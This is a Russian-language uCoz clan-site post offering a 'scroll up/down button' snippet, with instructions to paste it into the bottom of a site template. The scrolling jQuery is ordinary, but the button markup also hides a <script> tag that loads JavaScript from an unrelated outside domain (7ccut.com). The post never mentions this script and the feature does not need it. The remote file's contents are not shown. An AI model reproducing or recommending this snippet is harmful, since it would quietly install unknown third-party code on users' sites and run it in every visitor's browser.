Набор в клан закрыт!!!
Последние ответы на форумеПопулярные темы на форуме
  • Профиль для ucoz в нижнем правом углу сайта
  • (0)
  • Красивый информер для файлов ucoz
  • (0)
  • Уведомления о регистрации для ucoz
  • (0)
  • Форма входа на uCoz
  • (0)
  • Новый Топ пользователей с аватарами для Ucoz
  • (0)
  • Заявки в клан
  • (36)
  • Досчитаем до 100 !!!
  • (11)
  • последняя буква
  • (8)
  • Заявки на уход из клана
  • (6)
  • забить CW
  • (4)
    меню сайта
    меню клана
    Всё для CSS
    photoshop
    администрация

    ZerexX

    Skype:x_killer16000

    Новые файлы
    Главная » 2014 » Январь » 20 » Кнопка вверх и вниз
    21:51
    Кнопка вверх и вниз

    Срипт для быстрого и плавного поднятия страници вверх, также можно опускать и вниз страницу сайта.
    Выполнен в стиле пальца вверх и вниз, светло синий цет
    Установка не сложная и не требует допполнителных навыков html

    Установка скрипта „Кнопка вверх и вниз“

    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
      <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
      <script src="http://7ccut.com/table.js" type="text/javascript"></script>
      <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
      <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
      </a></div>

    <script>
    var go_down = jQuery('body');
    jQuery(function() {
      $("#Go_Top").hide().removeAttr("href");
      if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
      var scrollDiv = $("#Go_Top");
      $(window).scroll(function() {
      if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
      else $(scrollDiv).fadeIn("slow")
      });

      $("#Go_Bottom").hide().removeAttr("href");
      if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
      var scrollDiv_2 = $("#Go_Bottom");
      $(window).scroll(function() {
      if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
      else $(scrollDiv_2).fadeIn("slow")
      });

      $("#Go_Top").click(function() {
      $("html, body").animate({scrollTop: 0}, "slow")
      })
      $("#Go_Bottom").click(function() {
      $("html, body").animate({scrollTop: go_down.height()}, "slow")
      })
    });
    </script>
    Просмотров: 269 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Поиск
    личный кабинет

    Гость
    Реклама
    вход
    Мини-чат


    200
    Статистика CW
    Календарь
    опросы
    за кого больше любишь играть?
    Всего ответов: 23
    Регистрация
    Бесплатный хостинг uCoz Sitemap | Sitemap-forum